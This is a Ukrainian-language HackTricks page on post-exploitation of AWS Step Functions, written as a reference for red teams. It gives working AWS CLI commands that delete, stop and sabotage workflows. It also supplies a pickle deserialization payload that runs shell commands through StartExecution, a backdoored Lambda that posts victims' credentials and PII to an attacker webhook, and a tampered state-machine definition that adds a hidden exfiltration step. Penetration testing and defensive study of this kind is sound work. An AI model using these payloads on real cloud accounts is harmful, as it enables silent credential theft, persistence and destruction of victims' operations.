AWS - Step Functions Post Exploitation
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перегляньте the subscription plans!
- Приєднуйтесь до 💬 Discord group або до telegram group або стежте за нами в Twitter 🐦 @hacktricks_live.
- Діліться hacking tricks, надсилаючи PRs до HackTricks та HackTricks Cloud github repos.
Step Functions
For more information about this AWS service, check:
states:RevealSecrets
Цей дозвіл дозволяє відкривати секретні дані всередині виконання. Для цього потрібно встановити Inspection level на TRACE та параметр revealSecrets у true.
.png)
states:DeleteStateMachine, states:DeleteStateMachineVersion, states:DeleteStateMachineAlias
Атакувальник із цими дозволами зможе назавжди видаляти state machines, їхні versions та aliases. Це може порушити критичні робочі процеси, спричинити втрату даних і вимагати значного часу на відновлення та відтворення уражених state machines. Крім того, це дозволить атакувальнику приховати сліди, порушити судово-експертне розслідування та потенційно вивести з ладу операції, видаливши необхідні процеси автоматизації та конфігурації станів.
Note
- Видаляючи state machine, ви також видаляєте всі пов’язані з нею versions та aliases.
- Видаляючи state machine alias, ви не видаляєте state machine versions, що посилаються на цей alias.
- Неможливо видалити state machine version, на яку в даний момент посилається один або більше aliases.
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
- Potential Impact: Порушення критичних робочих процесів, втрата даних і операційні простої.
states:UpdateMapRun
Зловмисник з таким дозволом зможе змінювати конфігурацію відмов Map Run та налаштування паралельності, збільшувати або зменшувати максимальну кількість дозволених виконань дочірніх робочих процесів, що безпосередньо впливатиме на надійність і продуктивність сервісу. Крім того, зловмисник може підміняти допустимий відсоток і кількість помилок, зменшивши це значення до 0, через що щоразу при невдачі будь-якого елемента весь map run зазнаватиме невдачі, безпосередньо впливаючи на виконання машини станів і потенційно порушуючи критичні робочі процеси.
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
- Потенційний вплив: Погіршення продуктивності та порушення критичних робочих процесів.
states:StopExecution
Зловмисник з таким дозволом може зупиняти виконання будь-якої state machine, порушуючи поточні робочі процеси та процедури. Це може призвести до незавершених транзакцій, зупинки бізнес-операцій та можливого пошкодження даних.
Warning
Ця дія не підтримується express state machines.
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
- Потенційний вплив: Порушення поточних робочих процесів, оперативні простої та можливе пошкодження даних.
states:TagResource, states:UntagResource
Зловмисник може додавати, змінювати або видаляти tags з ресурсів Step Functions, що призведе до порушення розподілу витрат у вашій організації, відстеження ресурсів та політик контролю доступу на основі tags.
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
Потенційний вплив: Порушення розподілу витрат, відстеження ресурсів та політик доступу на основі тегів.
states:StartExecution -> Input Injection Into Dangerous Sinks
states:StartExecution — точка входу в data-plane. Якщо state machine пересилає attacker-controlled input у задачу, яка містить dangerous sink (наприклад Lambda, що виконує pickle.loads(base64.b64decode(payload_b64))), іноді можна перетворити StartExecution на code execution та secret exfiltration через вихід виконання, не маючи дозволів на оновлення state machine.
Виявлення workflow та викликаної Lambda
Якщо у вас є states:List* / states:Describe*, ви можете перерахувати та прочитати визначення state machine:
REGION=us-east-1
SM_ARN="<state_machine_arn>"
aws stepfunctions describe-state-machine --region "$REGION" --state-machine-arn "$SM_ARN" --query definition --output text
Якщо у вас також є lambda:GetFunction, ви можете завантажити Lambda code bundle, щоб зрозуміти, як обробляється вхід (і підтвердити, чи існує unsafe deserialization):
LAMBDA_ARN="<lambda_arn_from_definition>"
CODE_URL="$(aws lambda get-function --region "$REGION" --function-name "$LAMBDA_ARN" --query 'Code.Location' --output text)"
curl -sSL "$CODE_URL" -o /tmp/lambda.zip
unzip -o /tmp/lambda.zip -d /tmp/lambda_code >/dev/null
ls -la /tmp/lambda_code
Приклад: спеціально створений pickle у вхідних даних виконання (Python)
Якщо Lambda unpickles дані, контрольовані атакуючим, шкідливий pickle може виконати код під час десеріалізації. Приклад payload, який оцінює вираз Python у середовищі виконання Lambda:
PAYLOAD_B64="$(python3 - <<'PY'
import base64, pickle
class P:
def __reduce__(self):
# Replace with a safe proof (e.g. "1+1") or a target-specific read.
return (eval, ("__import__('os').popen('id').read()",))
print(base64.b64encode(pickle.dumps(P())).decode())
PY
)"
EXEC_ARN="$(aws stepfunctions start-execution --region "$REGION" --state-machine-arn "$SM_ARN" --input "{\"payload_b64\":\"$PAYLOAD_B64\"}" --query executionArn --output text)"
aws stepfunctions describe-execution --region "$REGION" --execution-arn "$EXEC_ARN" --query output --output text
Вплив: Будь-які дозволи, які має task role (читання Secrets Manager, запис у S3, дешифрування KMS тощо), можуть стати доступними через сконструйований вхід, а результат може бути повернутий у вивід виконання Step Functions.
states:UpdateStateMachine, lambda:UpdateFunctionCode
Зловмисник, який скомпрометував користувача або роль з такими дозволами:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}
…може провести high-impact and stealthy post-exploitation attack шляхом поєднання Lambda backdooring з Step Function logic manipulation.
У цьому сценарії передбачається, що жертва використовує AWS Step Functions to orchestrate workflows that process sensitive input, такі як облікові дані, токени або PII.
Приклад виклику жертви:
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
Якщо Step Function налаштовано на виклик Lambda, наприклад LegitBusinessLogic, атакувальник може застосувати два приховані варіанти атаки:
Оновлено функцію Lambda
Атакувальник змінює код функції Lambda, яку вже використовує Step Function (LegitBusinessLogic), щоб приховано exfiltrate input data.
# send_to_attacker.py
import requests
def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
zip function.zip send_to_attacker.py
aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker
Додати шкідливий стан до Step Function
Альтернативно, зловмисник може впровадити exfiltration state на початку робочого процесу, оновивши визначення Step Function.
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker
Атакувальник може діяти ще більш непомітно, оновивши визначення стану на щось на кшталт цього { “Comment”: “Backdoored for Exfiltration”, “StartAt”: “ExfiltrateSecrets”, “States”: { “ExfiltrateSecrets”: { “Type”: “Task”, “Resource”: “arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker”, “InputPath”: “$”, “ResultPath”: “$.exfil”, “Next”: “OriginalState” }, “OriginalState”: { “Type”: “Task”, “Resource”: “arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic”, “End”: true } } } де жертва не помітить різниці
Налаштування жертви (Context for Exploit)
- A Step Function (
LegitStateMachine) is used to process sensitive user input. - It calls one or more Lambda functions such as
LegitBusinessLogic.
Potential Impact:
- Безшумна exfiltration конфіденційних даних, включаючи secrets, credentials, API keys, та PII.
- Немає видимих помилок або збоїв у виконанні робочого процесу.
- Важко виявити без аудиту коду Lambda або трас виконання.
- Дозволяє довгострокову персистентність, якщо backdoor лишається в коді або ASL логіці.
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перегляньте the subscription plans!
- Приєднуйтесь до 💬 Discord group або до telegram group або стежте за нами в Twitter 🐦 @hacktricks_live.
- Діліться hacking tricks, надсилаючи PRs до HackTricks та HackTricks Cloud github repos.
HackTricks Cloud

